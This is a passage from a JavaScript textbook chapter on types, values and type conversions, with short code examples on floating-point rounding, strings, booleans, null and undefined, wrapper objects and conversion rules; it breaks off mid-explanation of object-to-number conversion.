3.1.4 Binary Floating-Point and Rounding Errors

There are infinitely many real numbers, but only a finite number of them (18437736874454810627, to be exact) can be represented exactly by the JavaScript floating-point format. This means that when you're working with real numbers in JavaScript, the representation of the number will often be an approximation of the actual number.

The IEEE-754 floating-point representation used by JavaScript (and just about every other modern programming language) is a binary representation, which can exactly represent fractions like `1/2`, `1/8`, and `1/1024`. Unfortunately, the fractions we use most commonly (especially when performing financial calculations) are decimal fractions `1/10`, `1/100`, and so on. Binary floating-point representations cannot exactly represent numbers as simple as `0.1`.

JavaScript numbers have plenty of precision and can approximate `0.1` very closely. But the fact that this number cannot be represented exactly can lead to problems. Consider this code:

```
var x = .3 - .2;    // thirty cents minus 20 cents
var y = .2 - .1;    // twenty cents minus 10 cents
x == y              // => false: the two values are not the same!
x == .1             // => false: .3-.2 is not equal to .1
y == .1             // => true: .2-.1 is equal to .1
```

Because of rounding error, the difference between the approximations of .3 and .2 is not exactly the same as the difference between the approximations of .2 and .1. It is important to understand that this problem is not specific to JavaScript: it affects any programming language that uses binary floating-point numbers. Also, note that the values `x` and `y` in the code above are *very* close to each other and to the correct value. The computed values are adequate for almost any purpose: the problem arises when we attempt to compare values for equality.

A future version of JavaScript may support a decimal numeric type that avoids these rounding issues. Until then you might want to perform critical financial calculations using scaled integers. For example, you might manipulate monetary values as integer cents rather than fractional dollars.

3.1.5 Dates and Times

Core JavaScript includes a `Date()` constructor for creating objects that represent dates and times. These Date objects have methods that provide an API for simple date computations. Date objects are not a fundamental type like numbers are. This section presents a quick tutorial on working with dates. Full details can be found in the reference section:

```
var then = new Date(2010, 0, 1);  // The 1st day of the 1st month of 2010
var later = new Date(2010, 0, 1,  // Same day, at 5:10:30pm, local time
                     17, 10, 30);
var now = new Date();          // The current date and time
var elapsed = now - then;      // Date subtraction: interval in milliseconds

later.getFullYear()            // => 2010
later.getMonth()               // => 0: zero-based months
later.getDate()                // => 1: one-based days
later.getDay()                 // => 5: day of week.  0 is Sunday 5 is Friday.
later.getHours()               // => 17: 5pm, local time
later.getUTCHours()            // hours in UTC time; depends on timezone
```

```
later.toString()              // => "Fri Jan 01 2010 17:10:30 GMT-0800 (PST)"
later.toUTCString()           // => "Sat, 02 Jan 2010 01:10:30 GMT"
later.toLocaleDateString()    // => "01/01/2010"
later.toLocaleTimeString()    // => "05:10:30 PM"
later.toISOString()           // => "2010-01-02T01:10:30.000Z"; ES5 only
```

3.2 Text

A *string* is an immutable ordered sequence of 16-bit values, each of which typically represents a Unicode character—strings are JavaScript's type for representing text. The *length* of a string is the number of 16-bit values it contains. JavaScript's strings (and its arrays) use zero-based indexing: the first 16-bit value is at position 0, the second at position 1 and so on. The *empty string* is the string of length 0. JavaScript does not have a special type that represents a single element of a string. To represent a single 16-bit value, simply use a string that has a length of 1.

Characters, Codepoints, and JavaScript Strings

JavaScript uses the UTF-16 encoding of the Unicode character set, and JavaScript strings are sequences of unsigned 16-bit values. The most commonly used Unicode characters (those from the "basic multilingual plane") have codepoints that fit in 16 bits and can be represented by a single element of a string. Unicode characters whose codepoints do not fit in 16 bits are encoded following the rules of UTF-16 as a sequence (known as a "surrogate pair") of two 16-bit values. This means that a JavaScript string of length 2 (two 16-bit values) might represent only a single Unicode character:

```
var p = "π"; // π is 1 character with 16-bit codepoint 0x03c0
var e = "𝑒"; // 𝑒 is 1 character with 17-bit codepoint 0x1d452
p.length     // => 1: p consists of 1 16-bit element
e.length     // => 2: UTF-16 encoding of 𝑒 is 2 16-bit values: "\ud835\udc52"
```

The various string-manipulation methods defined by JavaScript operate on 16-bit values, not on characters. They do not treat surrogate pairs specially, perform no normalization of the string, and do not even ensure that a string is well-formed UTF-16.

3.2.1 String Literals

To include a string literally in a JavaScript program, simply enclose the characters of the string within a matched pair of single or double quotes (' or "). Double-quote characters may be contained within strings delimited by single-quote characters, and single-quote characters may be contained within strings delimited by double quotes. Here are examples of string literals:

```
""  // The empty string: it has zero characters
'testing'
"3.14"
'name="myform"'
"Wouldn't you prefer O'Reilly's book?"
"This string\nhas two lines"
"π is the ratio of a circle's circumference to its diameter"
```

In ECMAScript 3, string literals must be written on a single line. In ECMAScript 5, however, you can break a string literal across multiple lines by ending each line but the last with a backslash (\). Neither the backslash nor the line terminator that follow it are part of the string literal. If you need to include a newline character in a string literal, use the character sequence `\n` (documented below):

```
"two\nlines"   // A string representing 2 lines written on one line
"one\          // A one-line string written on 3 lines. ECMAScript 5 only.
 long\
 line"
```

Note that when you use single quotes to delimit your strings, you must be careful with English contractions and possessives, such as *can't* and *O'Reilly's*. Since the apostrophe is the same as the single-quote character, you must use the backslash character (\) to "escape" any apostrophes that appear in single-quoted strings (escapes are explained in the next section).

In client-side JavaScript programming, JavaScript code may contain strings of HTML code, and HTML code may contain strings of JavaScript code. Like JavaScript, HTML uses either single or double quotes to delimit its strings. Thus, when combining JavaScript and HTML, it is a good idea to use one style of quotes for JavaScript and the other style for HTML. In the following example, the string "Thank you" is single-quoted within a JavaScript expression, which is then double-quoted within an HTML event-handler attribute:

```
<button onclick="alert('Thank you')">Click Me</button>
```

3.2.2 Escape Sequences in String Literals

The backslash character (\) has a special purpose in JavaScript strings. Combined with the character that follows it, it represents a character that is not otherwise representable within the string. For example, `\n` is an *escape sequence* that represents a newline character.

Another example, mentioned above, is the `\'` escape, which represents the single quote (or apostrophe) character. This escape sequence is useful when you need to include an apostrophe in a string literal that is contained within single quotes. You can see why these are called escape sequences: the backslash allows you to escape from the usual interpretation of the single-quote character. Instead of using it to mark the end of the string, you use it as an apostrophe:

```
'You\'re right, it can\'t be a quote'
```

Table 3-1 lists the JavaScript escape sequences and the characters they represent. Two escape sequences are generic and can be used to represent any character by specifying its Latin-1 or Unicode character code as a hexadecimal number. For example, the sequence `\xA9` represents the copyright symbol, which has the Latin-1 encoding given by the hexadecimal number A9. Similarly, the `\u` escape represents an arbitrary Unicode character specified by four hexadecimal digits; `\u03c0` represents the character π, for example.

Table 3-1. JavaScript escape sequences

Sequence	Character represented
`\0`	The NUL character (`\u0000`)
`\b`	Backspace (`\u0008`)
`\t`	Horizontal tab (`\u0009`)
`\n`	Newline (`\u000A`)
`\v`	Vertical tab (`\u000B`)
`\f`	Form feed (`\u000C`)
`\r`	Carriage return (`\u000D`)
`\"`	Double quote (`\u0022`)
`\'`	Apostrophe or single quote (`\u0027`)
`\\`	Backslash (`\u005C`)
`\x` *XX*	The Latin-1 character specified by the two hexadecimal digits *XX*
`\u` *XXXX*	The Unicode character specified by the four hexadecimal digits *XXXX*

If the \ character precedes any character other than those shown in Table 3-1, the backslash is simply ignored (although future versions of the language may, of course, define new escape sequences). For example, `\#` is the same as `#`. Finally, as noted above, ECMAScript 5 allows a backslash before a line break to break a string literal across multiple lines.

3.2.3 Working with Strings

One of the built-in features of JavaScript is the ability to *concatenate* strings. If you use the `+` operator with numbers, it adds them. But if you use this operator on strings, it joins them by appending the second to the first. For example:

```
msg = "Hello, " + "world";   // Produces the string "Hello, world"
greeting = "Welcome to my blog," + " " + name;
```

To determine the length of a string—the number of 16-bit values it contains—use the `length` property of the string. Determine the length of a string `s` like this:

```
s.length
```

In addition to this `length` property, there are a number of methods you can invoke on strings (as always, see the reference section for complete details):

```
var s = "hello, world"        // Start with some text.
s.charAt(0)                   // => "h": the first character.
s.charAt(s.length-1)          // => "d": the last character.
s.substring(1,4)              // => "ell": the 2nd, 3rd and 4th characters.
s.slice(1,4)                  // => "ell": same thing
s.slice(-3)                   // => "rld": last 3 characters
s.indexOf("l")                // => 2: position of first letter l.
s.lastIndexOf("l")            // => 10: position of last letter l.
s.indexOf("l", 3)             // => 3: position of first "l" at or after 3
```

```
s.split(", ")                // => ["hello", "world"] split into substrings
s.replace("h", "H")          // => "Hello, world": replaces all instances
s.toUpperCase()              // => "HELLO, WORLD"
```

Remember that strings are immutable in JavaScript. Methods like `replace()` and `toUpperCase()` return new strings: they do not modify the string on which they are invoked.

In ECMAScript 5, strings can be treated like read-only arrays, and you can access individual characters (16-bit values) from a string using square brackets instead of the `charAt()` method:

```
s = "hello, world";
s[0]                 // => "h"
s[s.length-1]        // => "d"
```

Mozilla-based web browsers such as Firefox have allowed strings to be indexed in this way for a long time. Most modern browsers (with the notable exception of IE) followed Mozilla's lead even before this feature was standardized in ECMAScript 5.

3.2.4 Pattern Matching

JavaScript defines a `RegExp()` constructor for creating objects that represent textual patterns. These patterns are described with *regular expressions*, and JavaScript adopts Perl's syntax for regular expressions. Both strings and RegExp objects have methods for performing pattern matching and search-and-replace operations using regular expressions.

RegExps are not one of the fundamental types of JavaScript. Like Dates, they are simply a specialized kind of object, with a useful API. The regular expression grammar is complex and the API is nontrivial. They are documented in detail in Chapter 10. Because RegExps are powerful and commonly used for text processing, however, this section provides a brief overview.

Although RegExps are not one of the fundamental data types in the language, they do have a literal syntax and can be encoded directly into JavaScript programs. Text between a pair of slashes constitutes a regular expression literal. The second slash in the pair can also be followed by one or more letters, which modify the meaning of the pattern. For example:

```
/^HTML/              // Match the letters H T M L at the start of a string
/[1-9][0-9]*/        // Match a non-zero digit, followed by any # of digits
/\bjavascript\b/i    // Match "javascript" as a word, case-insensitive
```

RegExp objects define a number of useful methods, and strings also have methods that accept RegExp arguments. For example:

```
var text = "testing: 1, 2, 3";   // Sample text
var pattern = /\d+/g             // Matches all instances of one or more digits
pattern.test(text)               // => true: a match exists
text.search(pattern)             // => 9: position of first match
text.match(pattern)              // => ["1", "2", "3"]: array of all matches
```

```
text.replace(pattern, "#");      // => "testing: #, #, #"
text.split(/\D+/);               // => ["","1","2","3"]: split on non-digits
```

3.3 Boolean Values

A boolean value represents truth or falsehood, on or off, yes or no. There are only two possible values of this type. The reserved words `true` and `false` evaluate to these two values.

Boolean values are generally the result of comparisons you make in your JavaScript programs. For example:

```
a == 4
```

This code tests to see whether the value of the variable `a` is equal to the number `4`. If it is, the result of this comparison is the boolean value `true`. If `a` is not equal to `4`, the result of the comparison is `false`.

Boolean values are commonly used in JavaScript control structures. For example, the `if/else` statement in JavaScript performs one action if a boolean value is `true` and another action if the value is `false`. You usually combine a comparison that creates a boolean value directly with a statement that uses it. The result looks like this:

```
if (a == 4)
  b = b + 1;
else
  a = a + 1;
```

This code checks whether `a` equals `4`. If so, it adds `1` to `b`; otherwise, it adds `1` to `a`.

As we'll discuss in §3.8, any JavaScript value can be converted to a boolean value. The following values convert to, and therefore work like, `false`:

```
undefined
null
0
-0
NaN
""  // the empty string
```

All other values, including all objects (and arrays) convert to, and work like, `true`. `false`, and the six values that convert to it, are sometimes called *falsy* values, and all other values are called `truthy`. Any time JavaScript expects a boolean value, a falsy value works like `false` and a truthy value works like `true`.

As an example, suppose that the variable `o` either holds an object or the value `null`. You can test explicitly to see if `o` is non-null with an `if` statement like this:

```
if (o !== null) ...
```

The not-equal operator `!==` compares `o` to `null` and evaluates to either `true` or `false`. But you can omit the comparison and instead rely on the fact that `null` is falsy and objects are truthy:

Download from Wow! eBook <www.wowebook.com>

```
if (o) ...
```

In the first case, the body of the `if` will be executed only if `o` is not `null`. The second case is less strict: it will execute the body of the `if` only if o is not `false` or any falsy value (such as `null` or `undefined`). Which `if` statement is appropriate for your program really depends on what values you expect to be assigned to `o`. If you need to distinguish `null` from `0` and `""`, then you should use an explicit comparison.

Boolean values have a `toString()` method that you can use to convert them to the strings "true" or "false", but they do not have any other useful methods. Despite the trivial API, there are three important boolean operators.

The `&&` operator performs the Boolean AND operation. It evaluates to a truthy value if and only if both of its operands are truthy; it evaluates to a falsy value otherwise. The `||` operator is the Boolean OR operation: it evaluates to a truthy value if either one (or both) of its operands is truthy and evaluates to a falsy value if both operands are falsy. Finally, the unary `!` operator performs the Boolean NOT operation: it evaluates to `true` if its operand is falsy and evaluates to `false` if its operand is truthy. For example:

```
if ((x == 0 && y == 0) || !(z == 0)) {
    // x and y are both zero or z is non-zero
}
```

Full details on these operators are in §4.10.

3.4 null and undefined

`null` is a language keyword that evaluates to a special value that is usually used to indicate the absence of a value. Using the `typeof` operator on `null` returns the string "object", indicating that `null` can be thought of as a special object value that indicates "no object". In practice, however, `null` is typically regarded as the sole member of its own type, and it can be used to indicate "no value" for numbers and strings as well as objects. Most programming languages have an equivalent to JavaScript's `null`: you may be familiar with it as `null` or `nil`.

JavaScript also has a second value that indicates absence of value. The undefined value represents a deeper kind of absence. It is the value of variables that have not been initialized and the value you get when you query the value of an object property or array element that does not exist. The undefined value is also returned by functions that have no return value, and the value of function parameters for which no argument is supplied. `undefined` is a predefined global variable (not a language keyword like `null`) that is initialized to the undefined value. In ECMAScript 3, `undefined` is a read/write variable, and it can be set to any value. This error is corrected in ECMAScript 5 and `undefined` is read-only in that version of the language. If you apply the `typeof` operator to the undefined value, it returns "undefined", indicating that this value is the sole member of a special type.

Despite these differences, `null` and `undefined` both indicate an absence of value and can often be used interchangeably. The equality operator `==` considers them to be equal. (Use the strict equality operator `===` to distinguish them.) Both are falsy values—they behave like `false` when a boolean value is required. Neither `null` nor `undefined` have any properties or methods. In fact, using `.` or `[]` to access a property or method of these values causes a TypeError.

You might consider `undefined` to represent a system-level, unexpected, or error-like absence of value and `null` to represent program-level, normal, or expected absence of value. If you need to assign one of these values to a variable or property or pass one of these values to a function, `null` is almost always the right choice.

3.5 The Global Object

The sections above have explained JavaScript's primitive types and values. Object types—objects, arrays, and functions—are covered in chapters of their own later in this book. But there is one very important object value that we must cover now. The *global object* is a regular JavaScript object that serves a very important purpose: the properties of this object are the globally defined symbols that are available to a JavaScript program. When the JavaScript interpreter starts (or whenever a web browser loads a new page), it creates a new global object and gives it an initial set of properties that define:

- global properties like `undefined`, `Infinity`, and `NaN`
- global functions like `isNaN()`, `parseInt()` (§3.8.2), and `eval()` (§4.12).
- constructor functions like `Date()`, `RegExp()`, `String()`, `Object()`, and `Array()` (§3.8.2)
- global objects like Math and JSON (§6.9)

The initial properties of the global object are not reserved words, but they deserve to be treated as if they are. §2.4.1 lists each of these properties. This chapter has already described some of these global properties. Most of the others will be covered elsewhere in this book. And you can look them all up by name in the core JavaScript reference section, or look up the global object itself under the name "Global". For client-side JavaScript, the Window object defines other globals that you can look up in the client-side reference section.

In top-level code—JavaScript code that is not part of a function—you can use the JavaScript keyword `this` to refer to the global object:

```
var global = this;  // Define a global variable to refer to the global object
```

In client-side JavaScript, the Window object serves as the global object for all JavaScript code contained in the browser window it represents. This global Window object has a self-referential `window` property that can be used instead of `this` to refer to the global object. The Window object defines the core global properties, but it also defines quite a few other globals that are specific to web browsers and client-side JavaScript.

When first created, the global object defines all of JavaScript's predefined global values. But this special object also holds program-defined globals as well. If your code declares a global variable, that variable is a property of the global object. §3.10.2 explains this in more detail.

3.6 Wrapper Objects

JavaScript objects are composite values: they are a collection of properties or named values. We refer to the value of a property using the `.` notation. When the value of a property is a function, we call it a *method*. To invoke the method `m` of an object `o`, we write `o.m()`.

We've also seen that strings have properties and methods:

```
var s = "hello world!";                          // A string
var word = s.substring(s.indexOf(" ")+1, s.length); // Use string properties
```

Strings are not objects, though, so why do they have properties? Whenever you try to refer to a property of a string `s`, JavaScript converts the string value to an object as if by calling `new String(s)`. This object inherits (see §6.2.2) string methods and is used to resolve the property reference. Once the property has been resolved, the newly created object is discarded. (Implementations are not required to actually create and discard this transient object: they must behave as if they do, however.)

Numbers and booleans have methods for the same reason that strings do: a temporary object is created using the `Number()` or `Boolean()` constructor, and the method is resolved using that temporary object. There are not wrapper objects for the `null` and `undefined` values: any attempt to access a property of one of these values causes a `TypeError`.

Consider the following code and think about what happens when it is executed:

```
var s = "test";         // Start with a string value.
s.len = 4;              // Set a property on it.
var t = s.len;          // Now query the property.
```

When you run this code, the value of `t` is `undefined`. The second line of code creates a temporary String object, sets its `len` property to 4, and then discards that object. The third line creates a new String object from the original (unmodified) string value and then tries to read the `len` property. This property does not exist, and the expression evaluates to `undefined`. This code demonstrates that strings, numbers, and boolean values behave like objects when you try to read the value of a property (or method) from them. But if you attempt to set the value of a property, that attempt is silently ignored: the change is made on a temporary object and does not persist.

The temporary objects created when you access a property of a string, number, or boolean are known as *wrapper objects*, and it may occasionally be necessary to distinguish a string value from a String object or a number or boolean value from a Number or Boolean object. Usually, however, wrapper objects can be considered an

implementation detail and you don't have to think about them. You just need to know that string, number, and boolean values differ from objects in that their properties are read-only and that you can't define new properties on them.

Note that it is possible (but almost never necessary or useful) to explicitly create wrapper objects, by invoking the `String()`, `Number()`, or `Boolean()` constructors:

```
var s = "test", n = 1, b = true;  // A string, number, and boolean value.
var S = new String(s);            // A String object
var N = new Number(n);            // A Number object
var B = new Boolean(b);           // A Boolean object
```

JavaScript converts wrapper objects into the wrapped primitive value as necessary, so the objects `S`, `N`, and `B` above usually, but not always, behave just like the values `s`, `n`, and `b`. The `==` equality operator treats a value and its wrapper object as equal, but you can distinguish them with the `===` strict equality operator. The `typeof` operator will also show you the difference between a primitive value and its wrapper object.

3.7 Immutable Primitive Values and Mutable Object References

There is a fundamental difference in JavaScript between primitive values (`undefined`, `null`, booleans, numbers, and strings) and objects (including arrays and functions). Primitives are immutable: there is no way to change (or "mutate") a primitive value. This is obvious for numbers and booleans—it doesn't even make sense to change the value of a number. It is not so obvious for strings, however. Since strings are like arrays of characters, you might expect to be able to alter the character at any specified index. In fact, JavaScript does not allow this, and all string methods that appear to return a modified string are, in fact, returning a new string value. For example:

```
var s = "hello";   // Start with some lowercase text
s.toUpperCase();   // Returns "HELLO", but doesn't alter s
s                  // => "hello": the original string has not changed
```

Primitives are also compared *by value*: two values are the same only if they have the same value. This sounds circular for numbers, booleans, `null`, and `undefined`: there is no other way that they could be compared. Again, however, it is not so obvious for strings. If two distinct string values are compared, JavaScript treats them as equal if, and only if, they have the same length and if the character at each index is the same.

Objects are different than primitives. First, they are *mutable*—their values can change:

```
var o = { x:1 };     // Start with an object
o.x = 2;             // Mutate it by changing the value of a property
o.y = 3;             // Mutate it again by adding a new property

var a = [1,2,3]      // Arrays are also mutable
a[0] = 0;            // Change the value of an array element
a[3] = 4;            // Add a new array element
```

Objects are not compared by value: two objects are not equal even if they have the same properties and values. And two arrays are not equal even if they have the same elements in the same order:

```
var o = {x:1}, p = {x:1};  // Two objects with the same properties
o === p                    // => false: distinct objects are never equal
var a = [], b = [];        // Two distinct, empty arrays
a === b                    // => false: distinct arrays are never equal
```

Objects are sometimes called *reference types* to distinguish them from JavaScript's primitive types. Using this terminology, object values are *references*, and we say that objects are compared *by reference*: two object values are the same if and only if they *refer* to the same underlying object.

```
var a = [];   // The variable a refers to an empty array.
var b = a;    // Now b refers to the same array.
b[0] = 1;     // Mutate the array referred to by variable b.
a[0]          // => 1: the change is also visible through variable a.
a === b       // => true: a and b refer to the same object, so they are equal.
```

As you can see from the code above, assigning an object (or array) to a variable simply assigns the reference: it does not create a new copy of the object. If you want to make a new copy of an object or array, you must explicitly copy the properties of the object or the elements of the array. This example demonstrates using a `for` loop (§5.5.3):

```
var a = ['a','b','c'];              // An array we want to copy
var b = [];                         // A distinct array we'll copy into
for(var i = 0; i < a.length; i++) { // For each index of a[]
    b[i] = a[i];                    // Copy an element of a into b
}
```

Similarly, if we want to compare two distinct objects or arrays, we must compare their properties or elements. This code defines a function to compare two arrays:

```
function equalArrays(a,b) {
    if (a.length != b.length) return false; // Different-size arrays not equal
    for(var i = 0; i < a.length; i++)       // Loop through all elements
        if (a[i] !== b[i]) return false;    // If any differ, arrays not equal
    return true;                            // Otherwise they are equal
}
```

3.8 Type Conversions

JavaScript is very flexible about the types of values it requires. We've seen this for booleans: when JavaScript expects a boolean value, you may supply a value of any type, and JavaScript will convert it as needed. Some values ("truthy" values) convert to `true` and others ("falsy" values) convert to `false`. The same is true for other types: if JavaScript wants a string, it will convert whatever value you give it to a string. If JavaScript wants a number, it will try to convert the value you give it to a number (or to `NaN` if it cannot perform a meaningful conversion). Some examples:

```
10 + " objects"     // => "10 objects".  Number 10 converts to a string
"7" * "4"           // => 28: both strings convert to numbers
```

```
var n = 1 - "x";     // => NaN: string "x" can't convert to a number
n + " objects"       // => "NaN objects": NaN converts to string "NaN"
```

Table 3-2 summarizes how values convert from one type to another in JavaScript. Bold entries in the table highlight conversions that you may find surprising. Empty cells indicate that no conversion is necessary and none is performed.

Table 3-2. JavaScript type conversions

Value	Converted to:			
	String	**Number**	**Boolean**	**Object**
`undefined`	`"undefined"`	`NaN`	`false`	*throws TypeError*
`null`	`"null"`	**`0`**	`false`	*throws TypeError*
`true`	`"true"`	**`1`**		`new Boolean(true)`
`false`	`"false"`	**`0`**		`new Boolean(false)`
`""` (empty string)		**`0`**	**`false`**	`new String("")`
`"1.2"` (nonempty, numeric)		`1.2`	`true`	`new String("1.2")`
`"one"` (nonempty, non-numeric)		`NaN`	`true`	`new String("one")`
`0`	`"0"`		**`false`**	`new Number(0)`
`-0`	`"0"`		**`false`**	`new Number(-0)`
`NaN`	`"NaN"`		**`false`**	`new Number(NaN)`
`Infinity`	`"Infinity"`		`true`	`new Number(Infinity)`
`-Infinity`	`"-Infinity"`		`true`	`new Number(-Infinity)`
`1` (finite, non-zero)	`"1"`		`true`	`new Number(1)`
`{}` (any object)	*see §3.8.3*	*see §3.8.3*	`true`	
`[]` (empty array)	`""`	**`0`**	`true`	
`[9]` (1 numeric elt)	`"9"`	**`9`**	`true`	
`['a']` (any other array)	*use join() method*	`NaN`	`true`	
`function(){}` (any function)	*see §3.8.3*	`NaN`	`true`	

The primitive-to-primitive conversions shown in the table are relatively straightforward. Conversion to boolean was already discussed in §3.3. Conversion to strings is well-defined for all primitive values. Conversion to numbers is just a little trickier. Strings that can be parsed as numbers convert to those numbers. Leading and trailing spaces are allowed, but any leading or trailing nonspace characters that are not part of a numeric literal cause the string-to-number conversion to produce `NaN`. Some numeric conversions may seem surprising: `true` converts to 1, and `false` and the empty string `""` convert to 0.

Primitive-to-object conversions are straightforward: primitive values convert to their wrapper object (§3.6) as if by calling the `String()`, `Number()`, or `Boolean()` constructor.

The exceptions are `null` and `undefined`: any attempt to use these values where an object is expected raises a TypeError exception rather than performing a conversion.

Object-to-primitive conversion is somewhat more complicated, and it is the subject of §3.8.3.

3.8.1 Conversions and Equality

Because JavaScript can convert values flexibly, its `==` equality operator is also flexible with its notion of equality. All of the following comparisons are true, for example:

```
null == undefined // These two values are treated as equal.
"0" == 0          // String converts to a number before comparing.
0 == false        // Boolean converts to number before comparing.
"0" == false      // Both operands convert to numbers before comparing.
```

§4.9.1 explains exactly what conversions are performed by the `==` operator in order to determine whether two values should be considered equal, and it also describes the strict equality operator `===` that does not perform conversions when testing for equality.

Keep in mind that convertibility of one value to another does not imply equality of those two values. If `undefined` is used where a boolean value is expected, for example, it will convert to `false`. But this does not mean that `undefined == false`. JavaScript operators and statements expect values of various types, and perform conversions to those types. The `if` statement converts `undefined` to `false`, but the `==` operator never attempts to convert its operands to booleans.

3.8.2 Explicit Conversions

Although JavaScript performs many type conversions automatically, you may sometimes need to perform an explicit conversion, or you may prefer to make the conversions explicit to keep your code clearer.

The simplest way to perform an explicit type conversion is to use the `Boolean()`, `Number()`, `String()`, or `Object()` functions. We've already seen these functions as constructors for wrapper objects (in §3.6). When invoked without the `new` operator, however, they work as conversion functions and perform the conversions summarized in Table 3-2:

```
Number("3")          // => 3
String(false)        // => "false"  Or use false.toString()
Boolean([])          // => true
Object(3)            // => new Number(3)
```

Note that any value other than `null` or `undefined` has a `toString()` method and the result of this method is usually the same as that returned by the `String()` function. Also note that Table 3-2 shows a TypeError if you attempt to convert `null` or `undefined` to an object. The `Object()` function does not throw an exception in this case: instead it simply returns a newly created empty object.

Certain JavaScript operators perform implicit type conversions, and are sometimes used for the purposes of type conversion. If one operand of the + operator is a string, it converts the other one to a string. The unary + operator converts its operand to a number. And the unary ! operator converts its operand to a boolean and negates it. These facts lead to the following type conversion idioms that you may see in some code:

```
x + ""          // Same as String(x)
+x              // Same as Number(x).  You may also see x-0
!!x             // Same as Boolean(x). Note double !
```

Formatting and parsing numbers are common tasks in computer programs and JavaScript has specialized functions and methods that provide more precise control over number-to-string and string-to-number conversions.

The `toString()` method defined by the Number class accepts an optional argument that specifies a radix, or base, for the conversion. If you do not specify the argument, the conversion is done in base 10. However, you can also convert numbers in other bases (between 2 and 36). For example:

```
var n = 17;
binary_string = n.toString(2);        // Evaluates to "10001"
octal_string = "0" + n.toString(8);   // Evaluates to "021"
hex_string = "0x" + n.toString(16);   // Evaluates to "0x11"
```

When working with financial or scientific data, you may want to convert numbers to strings in ways that give you control over the number of decimal places or the number of significant digits in the output, or you may want to control whether exponential notation is used. The Number class defines three methods for these kinds of number-to-string conversions. `toFixed()` converts a number to a string with a specified number of digits after the decimal point. It never uses exponential notation. `toExponential()` converts a number to a string using exponential notation, with one digit before the decimal point and a specified number of digits after the decimal point (which means that the number of significant digits is one larger than the value you specify). `toPrecision()` converts a number to a string with the number of significant digits you specify. It uses exponential notation if the number of significant digits is not large enough to display the entire integer portion of the number. Note that all three methods round the trailing digits or pad with zeros as appropriate. Consider the following examples:

```
var n = 123456.789;
n.toFixed(0);         // "123457"
n.toFixed(2);         // "123456.79"
n.toFixed(5);         // "123456.78900"
n.toExponential(1);   // "1.2e+5"
n.toExponential(3);   // "1.235e+5"
n.toPrecision(4);     // "1.235e+5"
n.toPrecision(7);     // "123456.8"
n.toPrecision(10);    // "123456.7890"
```

If you pass a string to the `Number()` conversion function, it attempts to parse that string as an integer or floating-point literal. That function only works for base-10 integers, and does not allow trailing characters that are not part of the literal. The `parseInt()`

and `parseFloat()` functions (these are global functions, not methods of any class) are more flexible. `parseInt()` parses only integers, while `parseFloat()` parses both integers and floating-point numbers. If a string begins with "0x" or "0X", `parseInt()` interprets it as a hexadecimal number.[2] Both `parseInt()` and `parseFloat()` skip leading white-space, parse as many numeric characters as they can, and ignore anything that follows. If the first nonspace character is not part of a valid numeric literal, they return NaN:

```
parseInt("3 blind mice")     // => 3
parseFloat(" 3.14 meters")   // => 3.14
parseInt("-12.34")           // => -12
parseInt("0xFF")             // => 255
parseInt("0xff")             // => 255
parseInt("-0XFF")            // => -255
parseFloat(".1")             // => 0.1
parseInt("0.1")              // => 0
parseInt(".1")               // => NaN: integers can't start with "."
parseFloat("$72.47");        // => NaN: numbers can't start with "$"
```

`parseInt()` accepts an optional second argument specifying the radix (base) of the number to be parsed. Legal values are between 2 and 36. For example:

```
parseInt("11", 2);           // => 3 (1*2 + 1)
parseInt("ff", 16);          // => 255 (15*16 + 15)
parseInt("zz", 36);          // => 1295 (35*36 + 35)
parseInt("077", 8);          // => 63 (7*8 + 7)
parseInt("077", 10);         // => 77 (7*10 + 7)
```

3.8.3 Object to Primitive Conversions

Object-to-boolean conversions are trivial: all objects (including arrays and functions) convert to `true`. This is so even for wrapper objects: `new Boolean(false)` is an object rather than a primitive value, and so it converts to `true`.

Object-to-string and object-to-number conversions are performed by invoking a method of the object to be converted. This is complicated by the fact that JavaScript objects have two different methods that perform conversions, and it is also complicated by some special cases described below. Note that the string and number conversion rules described here apply only to native objects. Host objects (defined by web browsers, for example) can convert to numbers and strings according to their own algorithms.

All objects inherit two conversion methods. The first is called `toString()`, and its job is to return a string representation of the object. The default `toString()` method does not return a very interesting value (though we'll find it useful in Example 6-4):

```
({x:1, y:2}).toString()    // => "[object Object]"
```

2. In ECMAScript 3, `parseInt()` may parse a string that begins with "0" (but not "0x" or "0X") as an octal number or as a decimal number. Because the behavior is unspecified, you should never use `parseInt()` to parse numbers with leading zeros, unless you explicitly specify the radix to be used! In ECMAScript 5, `parseInt()` only parses octal numbers if you explicitly pass 8 as the second argument.

Many classes define more specific versions of the `toString()` method. The `toString()` method of the Array class, for example, converts each array element to a string and joins the resulting strings together with commas in between. The `toString()` method of the Function class returns an implementation-defined representation of a function. In practice, implementations usually convert user-defined functions to strings of JavaScript source code. The Date class defines a `toString()` method that returns a human-readable (and JavaScript-parsable) date and time string. The RegExp class defines a `toString()` method that converts RegExp objects to a string that looks like a RegExp literal:

```
[1,2,3].toString()                  // => "1,2,3"
(function(x) { f(x); }).toString()  // => "function(x) {\n    f(x);\n}"
/\d+/g.toString()                   // => "/\\d+/g"
new Date(2010,0,1).toString()  // => "Fri Jan 01 2010 00:00:00 GMT-0800 (PST)"
```

The other object conversion function is called `valueOf()`. The job of this method is less well-defined: it is supposed to convert an object to a primitive value that represents the object, if any such primitive value exists. Objects are compound values, and most objects cannot really be represented by a single primitive value, so the default `valueOf()` method simply returns the object itself rather than returning a primitive. Wrapper classes define `valueOf()` methods that return the wrapped primitive value. Arrays, functions, and regular expressions simply inherit the default method. Calling `valueOf()` for instances of these types simply returns the object itself. The Date class defines a `valueOf()` method that returns the date in its internal representation: the number of milliseconds since January 1, 1970:

```
var d = new Date(2010, 0, 1);   // January 1st, 2010, (Pacific time)
d.valueOf()                     // => 1262332800000
```

With the `toString()` and `valueOf()` methods explained, we can now cover object-to-string and object-to-number conversions. Do note, however, that there are some special cases in which JavaScript performs a different object-to-primitive conversion. These special cases are covered at the end of this section.

To convert an object to a string, JavaScript takes these steps:

- If the object has a `toString()` method, JavaScript calls it. If it returns a primitive value, JavaScript converts that value to a string (if it is not already a string) and returns the result of that conversion. Note that primitive-to-string conversions are all well-defined in Table 3-2.
- If the object has no `toString()` method, or if that method does not return a primitive value, then JavaScript looks for a `valueOf()` method. If the method exists, JavaScript calls it. If the return value is a primitive, JavaScript converts that value to a string (if it is not already) and returns the converted value.
- Otherwise, JavaScript cannot obtain a primitive value from either `toString()` or `valueOf()`, so it throws a TypeError.

To convert an object to a number, JavaScript does the same thing, but it tries the `valueOf()` method first:

- If the object has a `valueOf()` method that returns a primitive value, JavaScript converts (if necessary) that primitive value to a number and returns the result.
- Otherwise, if the object has a `toString()` method that returns a primitive value, JavaScript converts and returns the value.
